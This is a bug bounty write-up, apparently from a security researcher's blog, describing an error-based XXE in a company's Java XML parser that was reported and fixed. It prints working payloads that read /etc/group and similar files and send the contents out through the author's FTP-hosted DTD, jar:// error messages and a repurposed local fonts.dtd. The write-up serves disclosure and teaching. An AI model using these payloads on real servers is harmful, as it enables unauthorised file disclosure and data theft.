InfoSec enthusiast | pwn | RE | CTF | BugBounty

h1{Error based XXE - bug bounty writeup}


Hi everyone!

Here’s a writeup of an XXE found in the wild on a public bugbounty program.

During my usual recon, I’ve found something very interesting on the “ZOOOOOOOOM” application of XXX company.

This, just respond with an "Invalid XML" :eyes:, this caugth my attention very heavily, so I started to test it with my usual XXE payloads. for my bad luck, I couldn’t get the output of the XML parser on the page,

The first one was just to check if the DOCTYPE definition was enable, normally in java servlets applications, you can turn off the parse of customs DOCTYPE's if you want it, but this time (Luckily), it was enable, but just a DNS request came out of the company, not a HTTP Request., this allow me to think that a external entity attack can be exploited.

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://k8tm8ep85umg95uxhsehjpayqpwfk4.burpcollaborator.net/x"> %ext;

If everything is working fine for me, it will make a DNS resolution, and a HTTP_REQUEST to my burpcollaborator, but damn, just the DNS request came.


hmmm … Having this in mind, It’s easy to think that the target is behind a big firewall, damn…

Taking a break from this, and thinking a while with a tea, I remembered a nice BugBounty writeup from STÖK, where he explain a XXE, making the parser fetch something from inside the company.

Well, I tried to do the same, I used a document upload on another endpoint that I found some time ago, lets name it as: abc.company.com/upload.

The fact is that the upload function, let anyone to upload a document, pdf,txt,docx,..., this allow me to fetch it TEMPORALY with a simple GET REQUEST (world-readable file). If the parser, trust on *.company.com, The server will successfully, fetch my own DTD .

So I did it, I uploaded a custom dtd file to the server that will declare a variable with arbitrary content, then, I’ll try to exfiltrate it.
We can’t fetch anything external with HTTP requests, so my first aproach, was exfiltrate it via FTP, using the xxeserv in GO.


<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://bbounty.f4d3.io:23/%payload;'>">

Sending to the server, the following:

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY % payload SYSTEM "file:///etc/">
<!ENTITY % dtd SYSTEM "ftp://bbounty.f4d3.io/poc2.txt">

The last release, was just to trigger the error on the parser.

It worked!

btw, I wasn’t getting anything good, just the default password that is using the parser, btw, was the only thing that I needed, Now I knew that was a Java 1.8> (leaked from the password used by the app.), there’s a big difference on the XML parsers for Java 1.8< and java 1.8>, I know from HTB and CTF's ❤️ , that this parser can be abused via induced error :D …

Another tea, and another couple hours reseaching more about this java version, xml parser error exceptions, and something very important when talking about SSRF's, and XXE's: protocols.

After reading everything about the things that I just said for the entire day, I reach this paper, which expose the XXE on JDK context, which is pretty nice, this paper point me to the right direction to exploit this thing, the jar protocol.

The jar:// scheme, is a protocol used by the JDK to fetch a jar file (which is simple a .zip file) over the network, decompress it, and use an entry on the jar file, with the following syntax:

  • jar:<url>!/{entry}

With this in mind, I can force an error on the parser, which will try to fetch a jar file on jar://</our/desire/file>!/nonimportantthing, with this, the parser will say happy:

  • Hey! I cant fetch jar://content-of-/etc/hosts ! LoL

Another thing to put on the table… That I didn’t realize inmediatly… I tried to exfiltrate data over the ftp… which means that Outbound connections to FTP servers are allowed…, this make everything easier, because we can fetch the evil.dtd file, over the network to our own ftp server, so, forget about the file upload thing :laughing:

The evil.dtd file, ended up like this:

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'jar:%payload;.domainwithoutimportance!/'>">

And the request:

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % payload SYSTEM "file:///etc/group">
<!ENTITY % ext SYSTEM "ftp://bbounty.f4d3.io/poc2.txt">


The xml after the fetch, will end like this

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % payload SYSTEM "file:///etc/group">
<!ENTITY % ext SYSTEM "ftp://bbounty.f4d3.io/poc2.txt">
<!ENTITY % trick SYSTEM "jar:%payload;.domainwithoutimportance!/">

Using local entities

After that I report this issue, I came back to the endpoint to test something that I read while ago, that I missed to try. Local DTD Files nice article

The main idea of this attack, is to use a local .dtd file on the server, this allows you to rewrite it, and put your own definitions there while parsing it.

So, I used the same idea to enumerate the files on the server (not the exploit, the parser oracle), and I found one local interesting dtd file.

Using the (No such file or directory) thing as an oracle, I could know what dtd's exists on the filesystem, knowing the dtd file, now I know that I can replace the constant ENTITY, and the expr ENTITY, which allows me to craft a exploit that will rewrite it on the fly.

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/group">
        <!ENTITY &#x25; int "<!ENTITY &#x26;#x25; trick SYSTEM &#x27;jar://&#x25;file;!/&#x27;>">
        <!ELEMENT aa (bb'>


Pwned again, without external interaction !


  • Aim for something else than the server-side port scanning SSRF.
  • If you can’t get a free HTTP request, there’s some other options that you can try… ftp,netdoc,jar,gopher,etc, to other ports too (do not forget IPV6).
  • If it seems weird, you’re probably right :D


  • Jan 3th (Discovery)
  • Jan 5th Reported
  • Jan 6th Requested more info
  • Jan 10th Info given
  • Jan 13th Triaged as P1
  • Mar 6th Resolved/Fixed ( yay! )